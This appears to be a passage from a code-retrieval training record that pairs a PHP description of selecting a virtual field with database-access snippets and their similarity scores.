\"_ResultSet\";\n\t\t$recordset = new $resultset_name( $resultId, $this->connectionId );\n\n\t\treturn $recordset;\n\t}",
"public function queryAll($query);",
"function mSelectRows ($q, $escapelist = null) {\n $res = mysql_query( mEscape($q,$escapelist) );\n if (!$res || mysql_num_rows($res) <= 0) return null;\n \n return res2array($res);\n}",
"public function execute()\n\t{\n\t\t$this->query->setFetchMode($this->fetchMode);\n\n\t\t$this->query->execute($this->params);\t\n\n\t\t// Fetch the data in the appropriate format\n\t\tswitch ($this->fetchMethod) {\n\t\t\tcase 'row':\n\t\t\t\t$this->result = $this->query->fetch();\n\t\t\t\tbreak;\n\t\t\tcase 'field':\n\t\t\t\t$this->result = $this->query->fetchColumn();\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$this->result = $this->query->fetchAll();\n\t\t\t\tbreak;\n\t\t}\n\t}",
"public function execute()\n\t{\n\t\tif (count($this->rows) > 0) {\n\t\t\t$factory = $this->db()->driverFactory();\n\t\t\t$sql = $factory->sqlGenerator()->generate($this);\n\n\t\t\t$this->db()->exec($sql);\n\t\t\t$this->_updateInsertedRows($this->db()->lastInsertId(), $this->rows);\n\t\t\t\n\t\t\t$results = [];\n\t\t\tforeach ($this->rows as $row) {\n\t\t\t\t$model = $row->data();\n\t\t\t\t$results[] = $model;\n\t\t\t}\n\n\t\t\treturn $results;\n\t\t} else {\n\t\t\treturn [];\n\t\t}\n\t}",
"function &SelectLimit($sql,$nrows=-1,$offset=-1,$inputarr=false,$arg3=false,$secs2cache=0) \r\n\t {\r\n\t $offsetStr = ($offset >= 0) ? \" OFFSET $offset\" : '';\r\n\t $limitStr = ($nrows >= 0) ? \" LIMIT $nrows\" : '';\r\n\t return $secs2cache ?\r\n\t $this->CacheExecute($secs2cache,$sql.\"$limitStr$offsetStr\",$inputarr,$arg3)\r\n\t :\r\n\t $this->Execute($sql.\"$limitStr$offsetStr\",$inputarr,$arg3);\r\n\t }",
"public function execute(array $values = []) : array {\n foreach($this->_queries as $q) {\n if(!$q->executed()) {\n // build query string\n $query = $q->build();\n // get from cache if available\n if(isset($this->_cache)) {\n $expired = false;\n $data = $this->_cache->get($query, $expired);\n // if empty? return synchronously\n if(empty($data)) {\n $data = $q->execute($values);\n $this->_cache->set($query, $data);\n return $data;\n }\n // if expired call for update and return cached data\n if($expired) {\n $this->_cache->update($q, $values);\n }\n $q->cached();\n return $data;\n }\n // no cache, synchronously execute\n return $q->execute($values);\n }\n }\n return [];\n }",
"public function fquery(): mixed\n {\n $sth = $this->query(func_get_args());\n if (is_object($sth)) {\n //select query\n return $sth->fetchAll();\n } else {\n //non-select query that can return bool/int\n return $sth;\n }\n }",
"public function execute()\n {\n \tif ( $this->cur_query != \"\" )\n \t{\n \t\t$res = $this->query( $this->cur_query );\n \t}\n \t\n \t$this->cur_query \t= \"\";\n \t$this->is_shutdown \t= false;\n\n \treturn $res;\n }",
"public function select($query){\n return pg_fetch_all($this -> query($query));\n }",
"public static function doSelect($sql, $values = array(), $useRedis = true, $redisKey = \"\", $autoErroResponder = false , $fetchAll = true, $fetchStyle = PDO::FETCH_ASSOC)\n {\n\n //mitonim az redis estefade konim\n if(Config::$REDISENABLED) {\n\n }\n $conn = MyPDO::getInstance();\n $stmt = $conn->prepare($sql);\n $result = null;\n if($values != NULL) {\n foreach ($values as $key => $value) {\n $stmt->bindValue($key + 1, $value);\n }\n }\n try {\n $stmt->execute();\n if ($fetchAll) {\n $result = $stmt->fetchAll($fetchStyle);\n } else {\n $result = $stmt->fetch($fetchStyle);\n }\n return $result;\n } catch (\\PDOException $ex) {\n if($autoErroResponder) new Errors(\"Internal Server Error\" , false , Config::$DEBUG_MODE?$ex:\"\" );\n else return $ex;\n }\n }",
"public function execute() {\n\t\t\t$connection = \\Leap\\Core\\DB\\Connection\\Pool::instance()->get_connection($this->data_source);\n\t\t\tif ($this->before !== NULL) {\n\t\t\t\tcall_user_func_array($this->before, array($connection));\n\t\t\t}\n\t\t\t$connection->execute($this->command());\n\t\t\tif ($this->after !== NULL) {\n\t\t\t\tcall_user_func_array($this->after, array($connection));\n\t\t\t}\n\t\t}",
"public function execute()\n {\n if (!$this->sessionSet && $this->platform instanceof MySqlPlatform) {\n $this->connection->exec(\"SET @@SESSION.sql_mode = '';\");\n $this->sessionSet = true;\n }\n\n // Take a local copy so that we don't modify the original query and cause issues later\n $query = $this->replacePrefix((string) $this->sql);\n\n if (!($this->sql instanceof \\JDatabaseQuery) && ($this->limit > 0 || $this->offset > 0)) {\n // @TODO\n if ($this->offset > 0) {\n $query .= ' LIMIT ' . $this->offset . ', ' . $this->limit;\n } else {\n $query .= ' LIMIT ' . $this->limit;\n }\n }\n\n $this->prepared = $this->connection->prepare($query);\n\n // Increment the query counter.\n $this->count++;\n\n // Reset the error values.\n $this->errorNum = 0;\n $this->errorMsg = '';\n $memoryBefore = null;\n\n // If debugging is enabled then let's log the query.\n if ($this->debug) {\n // Add the query to the object queue.\n $this->log[] = $query;\n\n \\JLog::add($query, \\JLog::DEBUG, 'databasequery');\n\n $this->timings[] = microtime(true);\n }\n\n // Execute the query.\n $this->executed = false;\n $previous = null;\n\n if ($this->prepared instanceof Statement) {\n // Bind the variables:\n if ($this->sql instanceof JDatabaseQueryPreparable) {\n $bounded = $this->sql->getBounded();\n\n foreach ($bounded as $key => $obj) {\n $this->prepared->bindParam($key, $obj->value, $obj->dataType, $obj->length, $obj->driverOptions);\n }\n }\n\n try {\n $this->executed = $this->prepared->execute();\n } catch (\\Exception $previous) {\n }\n }\n\n if ($this->debug) {\n $this->timings[] = microtime(true);\n\n if (defined('DEBUG_BACKTRACE_IGNORE_ARGS')) {\n $this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);\n } else {\n $this->callStacks[] = debug_backtrace();\n }\n }\n\n // If an error occurred handle it.\n if (!$this->executed) {\n // Get the error number and message before we execute any more queries.\n $errorNum = (int) $this->connection->errorCode();\n $errorMsg = (string) 'SQL: ' . implode(\", \", $this->connection->errorInfo());\n\n // Get the error number and message from before we tried to reconnect.\n $this->errorNum = $errorNum;\n $this->errorMsg = $errorMsg;\n\n // Throw the normal query exception.\n \\JLog::add(\n \\JText::sprintf('JLIB_DATABASE_QUERY_FAILED', $this->errorNum, $this->errorMsg),\n \\JLog::ERROR,\n 'databasequery'\n );\n throw new RuntimeException($this->errorMsg, $this->errorNum, $previous);\n }\n\n return $this->prepared;\n }",
"public function execute_and_get_ids()\n {\n }",
"function selectQuery($query) \t{\n\t\tif($query != '')\t\t{\n\t $res = $this->execute($query);\n\t\t\treturn $this->fetchAll($res);\n\t\t}\n\t}",
"function executeSQL($script) {\n\t\t$queryRes = mysqli_query($this->connectionString, $script);\n\t\tif(!empty($queryRes))\n\t\t{\n\t\t\twhile($row = mysqli_fetch_assoc($queryRes)) {\n\t\t\t\t$resultFromDB[] = $row;\n\t\t\t}\t\t\n\t\t\tif(!empty($resultFromDB))\n\t\t\t\treturn $resultFromDB;\n\t\t}\n\t\t\n\t}",
"protected function execute()\n{\n\t$this->result = $this->db->query($this->getSql());\n\t$this->position = 0;\n\t$this->data = array();\n\n\treturn $this->result;\n}",
"private function executeSelectQuery($sql)\n {\n $toNum = array();\n $rows = $this->conn->query($sql);\n while ($row = $rows->fetch_object()) {\n $toNum[] = $row;\n }\n if(empty($toNum)){\n return;\n }\n $rows->close();\n return $toNum;\n }"
]
| [
"0.62236077",
"0.6161477",
"0.6102083",
"0.6010211",
"0.6009905",
"0.5992357",
"0.595796",
"0.5953391",
"0.5935801",
"0.5907748",
"0.5902111",
"0.5868967",
"0.5852792",
"0.58141744",
"0.5812473",
"0.5799871",
"0.57949376",
"0.57824713",
"0.57824713",
"0.5774102",
"0.5750616",
"0.57412744",
"0.571685",
"0.5696208",
"0.56880915",
"0.56879324",
"0.5680881",
"0.5672424",
"0.5665121",
"0.56588614",
"0.56531554",
"0.56420135",
"0.5637941",
"0.56333286",
"0.5631162",
"0.56308573",
"0.56085503",
"0.5596133",
"0.55796486",
"0.55685705",
"0.5567677",
"0.55675685",
"0.5567235",
"0.5561556",
"0.55540085",
"0.5551767",
"0.5549206",
"0.5547384",
"0.5545601",
"0.5531821",
"0.5531064",
"0.55168045",
"0.55050683",
"0.55026895",
"0.5493926",
"0.5481335",
"0.5481335",
"0.5481335",
"0.5481287",
"0.5481155",
"0.5478724",
"0.54780394",
"0.54745317",
"0.54742694",
"0.54552156",
"0.5453162",
"0.5428918",
"0.54250085",
"0.5414611",
"0.54129297",
"0.54060936",
"0.5401972",
"0.5400179",
"0.53934836",
"0.53743386",
"0.537069",
"0.53691006",
"0.53689677",
"0.5358394",
"0.5356575",
"0.5345965",
"0.5345659",
"0.5339818",
"0.5332103",
"0.53271985",
"0.531792",
"0.5317751",
"0.5315845",
"0.5315666",
"0.5313665",
"0.53112817",
"0.53082913",
"0.53061426",
"0.53060204",
"0.5299954",
"0.52922726",
"0.5288875",
"0.528551",
"0.5281108",
"0.5275853"
]
| 0.5650641 | 31 |
Execute a select query with a Collection as result | public function selectCollection(Query\Select $query): Collection
{
/** @var Collection<TEntity> $collection */
$collection = new Collection($this->db);
$result = $this->select($query);
$collection->fromIterable($result);
return $collection;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function querySelect($sql, $fields = NULL, $fetchMode = NULL) : Collection;",
"public function collection() {\n \t$db = $this->db;\n\t\t$sql = $this->sql();\n\t\t$rows = $db::execute($sql);\n\t\t$model = $this->model;\n\t\treturn new \\Collection($model::arrayFactoryFromRows($rows));\n\t}",
"public function select(Query $query)\n {\n if ($query->getTable() != '') {\n $data = [];\n //\tno prepared allowed\n $fields = $this->buildFields($query);\n //\tprepared allowed\n $joins = $this->buildJoins($query);\n //$data += $Joins['data'];\n //\tprepared allowed\n $wheres = $this->buildWheres($query);\n $data = array_merge($data, $wheres['data']);\n //\tno prepared allowed\n $orders = $this->buildOrders($query);\n //\tno prepared allowed\n $groups = $this->buildGroups($query);\n //\tprepared allowed\n $having = $this->buildHaving($query);\n $data = array_merge($data, $having['data']);\n //\tno prepared allowed\n $limit = $this->buildLimits($query);\n $sql = 'SELECT '.$fields.' FROM '.$query->getTable().$joins.$wheres['placeholders'].$orders.$groups.$having['placeholders'].$limit;\n $stmt = $this->connection->prepare($sql);\n $stmt->execute($data);\n\n return new Collection($stmt->fetchAll());\n }\n\n throw new \\Exception('A table must be selected first');\n }",
"public function select() \n {\n $this->select->execute();\n\n if ($this->select->errorCode() != 0) \n {\n print_r($this->select->errorInfo());\n }\n\n return $this->select->fetchAll();\n }",
"private function query() {\n return ApplicationSql::query($this->_select, $this->_table, $this->_join, $this->_where, $this->_order, $this->_group, $this->_limit, $this->_offset);\n }",
"public function execute(?int $limit = null, ?int $offset = null): Collection\n {\n $this->query->limit($limit);\n $this->query->offset($offset);\n\n $this->query->columns(\n ... $this->getColumns()\n );\n\n /** @noinspection PhpUndefinedMethodInspection */\n return collect($this->db->execute($this->query)->fetchAll())\n ->recursive();\n }",
"public function select()\n\t{\n\t\treturn call_user_func_array([$this->queryFactory->__invoke('select'), 'select'], func_get_args());\n\t}",
"protected function runSelect()\n {\n return $this->connection->select(\n $this->toSql(),\n $this->getBindings(),\n $this->option->setUseWrite($this->useWritePdo)\n );\n }",
"public function loadCollectionQuery(Collection $collection): Query;",
"protected function runSelect()\n {\n return $this->connection->select($this->toCypher(), $this->getBindings());\n }",
"public function select();",
"public function select();",
"public function select();",
"function select($query)\n\t{\n\t\t\n\t\tglobal $connection;\n\t\t$resuts = $connection->query($query);\n\t\treturn $resuts;\n\t}",
"public function processSelect(Builder $query, $results);",
"abstract public function query($collection, array $criteria = null);",
"public function fetchAll(){\n $adapter = $this->adapter;\n $sql = new Sql($this->adapter);\n $select = $sql->select();\n $select->from('flota');\n $selectString = $sql->getSqlStringForSqlObject($select);\n $data = $adapter->query($selectString, $adapter::QUERY_MODE_EXECUTE);\n \n return $data;\n }",
"public function getAll() : Collection;",
"public function all(): ResultSetContract;",
"public function queryAll(){\n\t\t$sql = 'SELECT * FROM consultation_vp';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->getList($sqlQuery);\n\t}",
"public function getAll(){\n $adapter = $this->createAdapter();\n $results = $adapter->query($this->getSelectStatement());\n return $results;\n $adapter = null;\n }",
"function querySelect( $query, &$resultContainer )\r\n\t{\r\n\t\t$resultStm = $this->link->query( $query.\";\", PDO::FETCH_CLASS, \"stdclass\" );\r\n\t\treturn $this->_processSelectResult($resultStm, $resultContainer, $query);\r\n\t}",
"public function selectAll();",
"public function from($collection)\n {\n return $this->connection->getCollection($collection);\n }",
"public function select($query){\n return pg_fetch_all($this -> query($query));\n }",
"public function fetchAll()\n {\n $result = $this->select();\n return $result;\n }",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function queryAll();",
"public function select()\n {\n return new QueryProxy('select', $this);\n }",
"public function resultSet(){\n\t\t$this->execute();\n\t\treturn $this->stmt->fetchAll(PDO::FETCH_OBJ);\n\t}",
"function select($q)\n {\n return $this->dbh->query($q, PDO::FETCH_ASSOC)->fetchAll();\n }",
"static function select($sql, $params = array()) {\n $sth = static::execute($sql, $params);\n\n $result = $sth->fetchAll();\n\n return $result;\n }",
"public function query()\n {\n $query = Fieldagent::query()->select($this->getColumns());\n\n return $this->applyScopes($query);\n }",
"protected function runSelectWithMeta()\n {\n return $this->connection->selectWithMeta(\n $this->toSql(),\n $this->getBindings(),\n ! $this->useWritePdo\n );\n }",
"abstract public function query();",
"public function resultSet(){\n $this->execute();\n return $this->statement->fetchAll(PDO::FETCH_OBJ);\n }",
"public function select($query, $bindings = []);",
"public function select($query, $bindings = []);",
"public function select($query, $bindings = []);",
"function selectAll() {\n $query = $this->getStatement(\n \"SELECT * FROM `$this->table` WHERE 1 ORDER BY id\"\n );\n $query->execute();\n return $query->fetchAll();\n }",
"public function query() {\n\t\treturn Documents::instance()->query();\n\t}",
"public function select_iterator ( SelectReadyInterface $select, $fetch_class, $collection )\n {\n $stmt = $this->_driver->prepare($select->getSQL());\n $stmt->setFetchMode(PDO::FETCH_CLASS, get_class($fetch_class));\n $stmt->execute($select->getWhereValues());\n $result = $stmt->fetchAll();\n\n $collection->setItens($result);\n\n return $collection;\n\n }",
"public function resultSet()\n\t{\n\t\t$this->execute();\n\t\treturn $this->stm->fetchAll(PDO::FETCH_OBJ);\n\t}",
"private function __select() {\n $from_str = $this->getFromStr();\n $field = $this->field_str;\n if (empty($field)) {\n $field = '*';\n }\n $sql = \"SELECT {$field} FROM {$from_str}\";\n if (!empty($this->join_str_list)) {\n $temp = implode(' ', $this->join_str_list);\n $sql .= \" {$temp}\";\n }\n if (!empty($this->where_str)) {\n $sql .= \" WHERE {$this->where_str}\";\n }\n if (!empty($this->group_str)) {\n $sql .= \" GROUP BY {$this->group_str}\";\n }\n if (!empty($this->order_str)) {\n $sql .= \" ORDER BY {$this->order_str}\";\n }\n if (!empty($this->limit_str)) {\n $sql .= \" LIMIT {$this->limit_str}\";\n }\n $list = $this->query($sql);\n return $list;\n }",
"public function query();",
"public function query();",
"public function query();",
"public function select()\n {\n $cols = $this->getColsAsFields();\n return $this->gateway->select($cols);\n }",
"public function fetchAll()\r\n {\r\n $sql = new Sql($this->dbAdapter);\r\n $select = $sql->select();\r\n $select\r\n ->from(array('a_s' => $this->table))\r\n ->order('a_s.sector_order ASC');\r\n \r\n $selectString = $sql->getSqlStringForSqlObject($select);\r\n $execute = $this->dbAdapter->query($selectString, Adapter::QUERY_MODE_EXECUTE);\r\n $result = $execute->toArray();\r\n return $result;\r\n }",
"public function resultSet(){\n $this->executeQuery($this->statement);\n return $this->fetchAll($this->statement);\n }",
"public function select($fields=null) { if ($fields) $this->fields($fields); return $this->execute($this->get_select()); }",
"public function selectAll()\n {\n// FROM users\n// JOIN orders ON users.id = orders.user_id\n// JOIN addresses ON users.id = addresses.user_id\";\n\n $query = \"CALL Name(@name)\";\n $result = $this->myQuery($query);\n// \\Tools::dd($result);\n return $result->fetchAll(\\PDO::FETCH_ASSOC);\n }",
"public function executeSelect($sql) {\r\n\r\n $res = mysql_query($sql);\r\n $this->response = $res;\r\n\r\n return $this->resultToArray($res);\r\n\r\n }",
"public function select_all(string $query)\n{\n $this->strquery = $query;\n $result = $this->conexion->prepare($this->strquery);\n $result->execute();\n $data = $result->fetchall(PDO::FETCH_ASSOC);\n return $data; \n}",
"public function queryAll(){\r\n\t\t$sql = 'SELECT * FROM contenidos';\r\n\t\t$sqlQuery = new SqlQuery($sql);\r\n\t\treturn $this->getList($sqlQuery);\r\n\t}",
"public function query($sql) {\n return $this->data($sql);\n }",
"public function processSelect(Builder $query, $results) {\n return $results;\n }",
"public function fetch()\n {\n return $this->query->select(\n $this->filter,\n $this->order,\n null,\n $this->limitOffset,\n PDO::FETCH_CLASS\n );\n }",
"public function get(){\n\n if(is_null($this->columns)) $this->columns = ['*'];\n $select_statement = $this->grammer->compileSelect($this);\n \n \n $result = $this->connection->get($select_statement); \n \n if(!empty($this->model)){\n \n return $this->return_results_objects($result);\n\n }else{\n \n return $this->return_result_as_array($result);\n }\n \n }",
"function selectQuery($query) \t{\n\t\tif($query != '')\t\t{\n\t $res = $this->execute($query);\n\t\t\treturn $this->fetchAll($res);\n\t\t}\n\t}",
"public function queryAll() {\r\n $sql = \"SELECT * FROM $this->table\";\r\n $stmt = ConnectionFactory::prepare($sql);\r\n $stmt->execute();\r\n return $stmt->fetchAll();\r\n }",
"public function collection($collection)\n {\n $builder = new Query\\Builder($this);\n\n return $builder->collection($collection);\n }",
"public function results()\r\n\t{\r\n\t\treturn $this->model->get($this->select);\r\n\t}",
"public function queryAll(){\r\n\t\t$sql = 'SELECT * FROM clientes';\r\n\t\t$sqlQuery = new SqlQuery($sql);\r\n\t\treturn $this->getList($sqlQuery);\r\n\t}",
"public function fetch(string $query, $values = [], $binds = '', bool $openConnection = true) : ?MysqlResultCollection;",
"public function queryAll(){\n\t\t$sql = 'SELECT * FROM elementos';\n\t\t$sqlQuery = new SqlQuery($sql);\n\t\treturn $this->getList($sqlQuery);\n\t}",
"public abstract function fetchAll();",
"public static function query();",
"public function fetch_objects($query);",
"public function testQueryFetchDefault() {\n $records = [];\n $result = $this->connection->query('SELECT [name] FROM {test} WHERE [age] = :age', [':age' => 25]);\n $this->assertInstanceOf(StatementInterface::class, $result);\n foreach ($result as $record) {\n $records[] = $record;\n $this->assertIsObject($record);\n $this->assertSame('John', $record->name);\n }\n\n $this->assertCount(1, $records, 'There is only one record.');\n }",
"public function fetchAll();",
"public function fetchAll();",
"public function fetchAll();",
"public function fetchAll();",
"abstract public function prepareSelect();",
"public function get()\n {\n if (!empty($this->async)) {\n return $this->connection->selectAsync($this->toAsyncQueries());\n } else {\n return $this->connection->select($this->toSql(), [], $this->getFiles());\n }\n }",
"public function execute()\n\t{\n\t\t// Use cached results if found (previous count() or other internal call)\n\t\tif($this->activeQueryResults) {\n\t\t\t$results = $this->activeQueryResults;\n\t\t} else {\n\t\t\tif($this->activeQuery instanceof phpDataMapper_Database_Query_Interface) {\n\t\t\t\t$results = $this->query($this->activeQuery->sql(), $this->activeQuery->getParameters());\n\t\t\t\t$this->activeQueryResults = $results;\n\t\t\t} else {\n\t\t\t\t$results = array();\n\t\t\t}\n\t\t}\n\t\t\n\t\treturn $results;\n\t}"
]
| [
"0.7384283",
"0.6913545",
"0.6376525",
"0.6320233",
"0.6313432",
"0.63110596",
"0.6305907",
"0.6297558",
"0.62469894",
"0.62284243",
"0.61933553",
"0.61933553",
"0.61933553",
"0.61787486",
"0.6168198",
"0.60925215",
"0.60682607",
"0.5999789",
"0.5988088",
"0.59690285",
"0.5966257",
"0.59498715",
"0.5938899",
"0.59343934",
"0.59167856",
"0.58821833",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.58783025",
"0.5860941",
"0.58474755",
"0.5840787",
"0.5831439",
"0.5825287",
"0.58247215",
"0.58157766",
"0.5813862",
"0.5813582",
"0.5813582",
"0.5813582",
"0.5750164",
"0.57485664",
"0.57425195",
"0.5735917",
"0.572633",
"0.5711789",
"0.5711789",
"0.5711789",
"0.5708044",
"0.57075894",
"0.57059276",
"0.5694889",
"0.56948423",
"0.56947863",
"0.5687653",
"0.56867594",
"0.56831604",
"0.5681783",
"0.5677999",
"0.56737006",
"0.5671942",
"0.5669662",
"0.5664911",
"0.56608",
"0.5644903",
"0.5644187",
"0.56403875",
"0.5633627",
"0.5630014",
"0.5625317",
"0.5622919",
"0.56198984",
"0.56198984",
"0.56198984",
"0.56198984",
"0.5617964",
"0.56154126",
"0.5613798"
]
| 0.64663494 | 2 |
Select a virtual field in a query Useful to only fetch counts | public function selectVirtualField(
Query\Select $query,
string $virtualFieldName,
string $virtualType = null,
): \Generator {
$entityProvider = new VirtualFieldEntityProvider($virtualFieldName, $virtualType);
$entities = $this->db->selectWithEntityProvider($entityProvider, $query);
/** @var VirtualFieldEntity $entity */
foreach ($entities as $id => $entity) {
yield $id => $entity->getVirtualField();
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public abstract function getCountSelectSQL($field, $from, $joins, $where, $having, $group, $values);",
"public function fetchField();",
"public abstract function field_count();",
"public abstract function GetFieldCount();",
"public function getFieldCount() {}",
"protected function getCountQuery() {\n if ($this->customCountQuery) {\n return $this->customCountQuery;\n }\n else {\n return $this->query->countQuery();\n }\n }",
"public function select($field);",
"public function getSelectCountSql()\n {\n $countSelect = clone $this->getSelect();\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::ORDER);\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::LIMIT_COUNT);\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::LIMIT_OFFSET);\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::GROUP);\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::COLUMNS);\n $countSelect->columns(\"COUNT(*)\");\n\n return $countSelect;\n }",
"public function getSelectCountSql()\n {\n $this->_renderFilters();\n\n $countSelect = $this->_getClearSelect()\n ->columns('COUNT(DISTINCT cpf'.$this->_storeId.'.entity_id)')\n ->resetJoinLeft();\n return $countSelect;\n }",
"function sql_fetch_field($res,$offset = 0)\n {\n $results = array();\n $obj = NULL;\n $results = $res->getColumnMeta($offset);\n foreach($results as $key=>$value) {\n $obj->$key = $value;\n }\n return $obj;\n }",
"public function getCountQuery()\n {\n return $this->countQuery;\n }",
"public function getCountQuery()\n {\n return $this->countQuery;\n }",
"protected function getCountQuery()\n {\n return $this->countQuery;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::GROUP);\n return $countSelect;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::GROUP);\n return $countSelect;\n }",
"function getTotal($fieldName='', $searchKeyword='')\r\n\t\t{\r\n\t\t\t$sqlCount = $this->getTableCount($this->table, $fieldName , $searchKeyword );\r\n\t\t\treturn $sqlCount;\r\n\t\t\t\r\n\t\t}",
"final public static function selectCount($col, $alias, $table = null)\n {\n //init the select\n self::$query .= \"SELECT COUNT($col) AS $alias FROM \" . ($table != null ? $table : self::tableName());\n return (new static);\n }",
"public static function getCountQuery()\n {\n $key = static::getPrimaryKey();\n return DB::table(static::$schema)\n ->select([\"count({$key}) as count\"]);\n }",
"function getTotal($fieldName='', $searchKeyword='',$searchStatus='')\r\n\t\t{\r\n\t\t\t$sqlCount = $this->getTableCount($this->table, $fieldName , $searchKeyword, $searchStatus );\r\n\t\t\treturn $sqlCount;\r\n\t\t\t\r\n\t\t}",
"abstract public function getFieldCount(): int;",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(\\Magento\\Framework\\DB\\Select::GROUP);\n\n return $countSelect;\n }",
"public abstract function FetchField();",
"function getTotal($fieldName='', $searchKeyword='', $searchStatus='')\r\n\t\t{\r\n\t\t\t$sqlCount = $this->getTableCount($this->table, $fieldName , $searchKeyword, $searchStatus );\r\n\t\t\treturn $sqlCount;\r\n\t\t\t\r\n\t\t}",
"public function countQuery();",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(\\Zend_Db_Select::GROUP);\n return $countSelect;\n }",
"public function fetchCalculatedRows( $alias='count' );",
"protected function getCountQuery() {\n\t\tif ($this->countQuery !== null) {\n\t\t\treturn $this->countQuery;\n\t\t}\n\n\t\tif ($this->searchTerm !== null && $this->searchFields === null) {\n\t\t\t$fields = $this->getFields();\n\t\t\t$searchFields = array();\n\t\t\tforeach ($fields as $field) {\n\t\t\t\t$searchFields[] = $field['name'];\n\t\t\t}\n\t\t} else {\n\t\t\t$searchFields = null;\n\t\t}\n\n\t\t$query = clone $this;\n\t\t$query->resetFields();\n\t\t$query->resetLimit();\n\t\t$query->resetOrderBy();\n\t\t$query->field('COUNT(*)', 'total');\n\n\t\tif ($searchFields !== null) {\n\t\t\t$query->setSearchFields($searchFields);\n\t\t}\n\n\t\treturn $query;\n\t}",
"public function count($field = \"*\", $as = null);",
"function getMovieCount(){\n return $this->query(\"SELECT COUNT(id) as number FROM docs WHERE visible=1\");\n }",
"public function buildQueryBuilderForCount(): void\n {\n $this->qb->resetQueryParts();\n\n $this->qb->addSelect(\"COUNT({$this->table}.id) AS count\")\n ->from($this->table, $this->table)\n ->where(\"{$this->table}.{$this->pidColumnName}=0\")\n ;\n }",
"function sql_num_fields($res)\n {\n return $res->columnCount();\n }",
"public function getSelectCountSql() {\r\n $countSelect = clone $this->getSelect();\r\n\t\t\r\n\t\t$countSelect->reset();\r\n\t\t\r\n $countSelect\r\n ->from(['m' => new \\Zend_Db_Expr('(\r\n\t\t\t\tSELECT frequency_length\r\n\t\t\t\tFROM subscriptions_profiles AS main_table\r\n\t\t\t\tWHERE (main_table.status != \"active\") AND (FLOOR(main_table.frequency_length / (60 * 60 * 24)) > 0)\r\n\t\t\t\tGROUP BY CONCAT(frequency_length, merchant_source)\r\n\t\t\t)')], [])\r\n ->columns(array(\r\n\t\t\t\tnew \\Zend_Db_Expr('COUNT(*)')\r\n ));\r\n\t\t\r\n\t\treturn $countSelect;\r\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(Zend_Db_Select::GROUP);\n return $countSelect;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(Zend_Db_Select::GROUP);\n return $countSelect;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(Zend_Db_Select::GROUP);\n return $countSelect;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(Zend_Db_Select::GROUP);\n return $countSelect;\n }",
"function getDataCount($table='',$selFields = '*',$where='') \t{\n\t\t$query \t= 'SELECT COUNT('.$selFields.') AS cnt FROM ' . $this->tablePrefix . $table .' ' .$where;\t\t\t\t \n \t\t\n \t\treturn $this->fetchOne($this->execute($query));\n\t}",
"protected function howBigWasThatQuery()\r\n {\r\n \treturn $this->totalcount;\r\n }",
"public function countquery(){ \n\t\treturn $this->query_total; \n\t}",
"public function getQuerySelect() {\n $R = 'R_'. $this->id;\n return \"$R.value_id AS `\". $this->name.\"`\";\n }",
"#[@arg(position= 0)]\n public function setField($field= 'bz_id') {\n $this->criteria= create(new Criteria())\n ->setProjection(Projections::projectionList(array(\n Projections::property(Person::column($field)), \n Projections::count()\n )))\n ->addGroupBy($field)\n ;\n }",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n\n $countSelect->reset(\\Zend_Db_Select::GROUP);\n\n return $countSelect;\n }",
"function count($field = null)\r\n\t{\r\n\t\tif (empty($field)) {\r\n\t\t\t$field = $this->fields['PRI'];\r\n\t\t}\r\n\t\t$result = $this->field('count('.$field.') as count')->select();\r\n\t\treturn $result[0]['count'];\r\n\t}",
"public function getSelectCountSql()\n {\n $countSelect = parent::getSelectCountSql();\n $countSelect->reset(Zend_Db_Select::GROUP);\n\n return $countSelect;\n }",
"public function getQueryCount();",
"function getTableLength($table, $where=\"\"){\n return sqlSelectOne(\"SELECT COUNT(*) as count FROM $table $where\", 'count');\n}",
"public function getCountWithOwnerQuery() {\n \n return $this->createQueryBuilder('n')\n ->select('n.id')->distinct()\n ->join('n.user', 'o')\n ->join('o.user_regular', 'ru')\n ->join('ru.gallery', 'og')\n ->leftJoin('og.images', 'ogi')\n ->join('n.gallery', 'ng')\n ->leftJoin('ng.images', 'ngi')\n ->leftJoin('n.values', 'v')\n ->leftJoin('v.property', 'p')\n ->join('n.location', 'l')\n ->where('n.draft = false');\n }",
"public function query() {\n $this->field_alias = $this->real_field;\n }",
